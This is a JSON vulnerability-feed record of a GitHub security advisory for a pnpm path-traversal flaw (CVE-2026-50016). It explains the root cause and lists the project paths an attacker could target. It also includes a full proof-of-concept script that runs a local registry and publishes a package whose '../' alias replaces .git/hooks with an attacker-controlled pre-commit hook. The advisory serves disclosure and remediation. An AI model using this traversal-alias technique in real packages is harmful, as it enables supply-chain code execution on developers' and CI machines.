{"id":"CVE-2026-50016","title":"pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement","summary":"pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement","severity":"high","cvss":8.8,"cwe":["CWE-23"],"vendor":"pnpm","product":"pnpm","ecosystem":"npm","affected":["pnpm < 10.34.0","pnpm >= 11.0.0, < 11.4.0"],"patched":["pnpm 10.34.0","pnpm 11.4.0"],"published":"2026-06-26","updated":"2026-06-26","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-hwx4-2j3j-g496","references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50016"},{"url":"https://github.com/advisories/GHSA-hwx4-2j3j-g496"}],"tags":["ghsa","npm"],"epss":0.00527,"epssPercentile":0.43446,"ingestedAt":"2026-06-29T13:24:35.086Z","slug":"CVE-2026-50016","body":"## Overview\n\n## Summary\n\npnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.\n\n`.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:\n\n- `.husky` or `.githooks` for Git hook dispatchers\n- `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands\n- `.github/actions/<name>` for local GitHub Actions used later in the workflow\n- `dist/` or other publish/build output directories before `pnpm pack` or\n  `pnpm publish`\n- `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later\n  command or module resolution\n\nTargets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.\n\nThis was reproduced with `pnpm@11.2.1`.\n\n## Impact\n\nUsers often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.\n\nExamples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`.\n\n## Root Cause\n\npnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory.\n\nConceptually, a transitive alias like this:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nis eventually treated like:\n\n```text\npath.join(parentPackageNodeModulesDir, \"@x/../../../../../.git/hooks\")\n```\n\nThe normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.\n\nThe dependency chain is:\n\n```text\nvictim installs normal@1.0.0\nnormal@1.0.0 -> bad@1.0.0\nbad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias\n```\n\nThe malicious transitive package metadata contains:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nBecause this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.\n\n## Proof Of Concept\n\nRun:\n\n```sh\n./run.sh\n```\n\n``` sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\nWORKDIR=\"$SCRIPT_DIR/demo-workdir\"\nREGISTRY_DIR=\"$WORKDIR/registry\"\nTARBALLS_DIR=\"$REGISTRY_DIR/tarballs\"\nVICTIM_DIR=\"$WORKDIR/victim\"\nREADY_FILE=\"$WORKDIR/registry-ready\"\nPORT_FILE=\"$WORKDIR/registry-port\"\n\nrm -rf \"$WORKDIR\"\nmkdir -p \"$REGISTRY_DIR/payload-hooks\" \"$REGISTRY_DIR/bad\" \"$REGISTRY_DIR/normal\" \"$TARBALLS_DIR\" \"$VICTIM_DIR\"\n\ncat > \"$REGISTRY_DIR/payload-hooks/package.json\" <<'JSON'\n{\n  \"name\": \"payload-hooks\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"pre-commit\": \"pre-commit\"\n  },\n  \"files\": [\n    \"pre-commit\"\n  ]\n}\nJSON\n\ncat > \"$REGISTRY_DIR/payload-hooks/pre-commit\" <<'EOF'\n#!/bin/sh\necho PWNED >&2\nexit 0\nEOF\nchmod +x \"$REGISTRY_DIR/payload-hooks/pre-commit\"\n\ncat > \"$REGISTRY_DIR/bad/package.json\" <<'JSON'\n{\n  \"name\": \"bad\",\n  \"version\": \"1.0.0\",\n  \"description\": \"transitive registry package\",\n  \"dependencies\": {\n    \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n  }\n}\nJSON\n\ncat > \"$REGISTRY_DIR/normal/package.json\" <<'JSON'\n{\n  \"name\": \"normal\",\n  \"version\": \"1.0.0\",\n  \"description\": \"normal looking package from a registry\",\n  \"dependencies\": {\n    \"bad\": \"1.0.0\"\n  }\n}\nJSON\n\n(cd \"$REGISTRY_DIR/payload-hooks\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/bad\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/normal\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n\nnode - \"$REGISTRY_DIR\" \"$READY_FILE\" \"$PORT_FILE\" <<'NODE' &\nconst http = require('node:http')\nconst fs = require('node:fs')\nconst path = require('node:path')\nconst { execFileSync } = require('node:child_process')\n\nconst [registryDir, readyFile, portFile] = process.argv.slice(2)\nconst tarballsDir = path.join(registryDir, 'tarballs')\n\nfunction shasum (filename) {\n  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])\n    .toString()\n    .trim()\n    .split(/\\s+/)\n    .pop()\n}\n\nfunction integrity (filename) {\n  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])\n    .toString('base64')\n}\n\nfunction packument (pkgName, req) {\n  const filename = `${pkgName}-1.0.0.tgz`\n  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))\n  const origin = `http://${req.headers.host}`\n  return {\n    name: pkgName,\n    'dist-tags': {\n      latest: '1.0.0',\n    },\n    versions: {\n      '1.0.0': {\n        ...manifest,\n        dist: {\n          tarball: `${origin}/${pkgName}/-/${filename}`,\n          shasum: shasum(filename),\n          integrity: integrity(filename),\n        },\n      },\n    },\n  }\n}\n\nconst server = http.createServer((req, res) => {\n  const pathname = new URL(req.url, 'http://local.invalid').pathname\n  if (req.method !== 'GET') {\n    res.writeHead(405)\n    res.end('method not allowed')\n    return\n  }\n  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {\n    const pkgName = pathname.slice(1)\n    res.writeHead(200, { 'content-type': 'application/json' })\n    res.end(JSON.stringify(packument(pkgName, req)))\n    return\n  }\n  const tarballMatch = pathname.match(/^\\/(normal|bad|payload-hooks)\\/-\\/(.+\\.tgz)$/)\n  if (tarballMatch) {\n    const file = path.join(tarballsDir, tarballMatch[2])\n    res.writeHead(200, { 'content-type': 'application/octet-stream' })\n    fs.createReadStream(file).pipe(res)\n    return\n  }\n  res.writeHead(404)\n  res.end('not found')\n})\n\nserver.listen(0, '127.0.0.1', () => {\n  fs.writeFileSync(portFile, String(server.address().port))\n  fs.writeFileSync(readyFile, 'ready')\n})\nNODE\nREGISTRY_PID=$!\ntrap 'kill \"$REGISTRY_PID\" 2>/dev/null || true' EXIT INT TERM\n\nWAIT_COUNT=0\nwhile [ ! -f \"$READY_FILE\" ]; do\n  WAIT_COUNT=$((WAIT_COUNT + 1))\n  if [ \"$WAIT_COUNT\" -gt 100 ]; then\n    echo \"local registry did not start\" >&2\n    exit 1\n  fi\n  sleep 0.05\ndone\nREGISTRY_PORT=$(cat \"$PORT_FILE\")\n\ncd \"$VICTIM_DIR\"\ngit init -q\ngit config user.email demo@example.invalid\ngit config user.name \"Demo User\"\n\ncat > package.json <<'JSON'\n{\n  \"name\": \"victim\",\n  \"version\": \"1.0.0\"\n}\nJSON\n\ncat > .npmrc <<EOF\nregistry=http://127.0.0.1:$REGISTRY_PORT/\nEOF\n\nprintf 'pnpm: '\npnpm --version\nprintf 'registry: http://127.0.0.1:%s/\\n' \"$REGISTRY_PORT\"\nprintf 'victim: %s\\n\\n' \"$VICTIM_DIR\"\n\npnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent\n\necho 'trigger commit' > change.txt\ngit add change.txt\n\nset +e\nCOMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)\nCOMMIT_STATUS=$?\nset -e\n\nprintf '\\ngit commit exit code: %s\\n' \"$COMMIT_STATUS\"\nprintf 'git commit stderr:\\n%s\\n' \"$COMMIT_STDERR\"\n\n```\n\nThe script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`.\n\nRequirements:\n\n```text\npnpm\nnpm\nnode\ngit\nopenssl\n```\n\nExpected output:\n\n```text\ngit commit exit code: 0\ngit commit stderr:\nPWNED\n```\n\n`PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.\n\n## Affected packages\n\n- `pnpm < 10.34.0`\n- `pnpm >= 11.0.0, < 11.4.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pnpm 10.34.0`\n- `pnpm 11.4.0`","depth":"twilight","depthScore":49,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}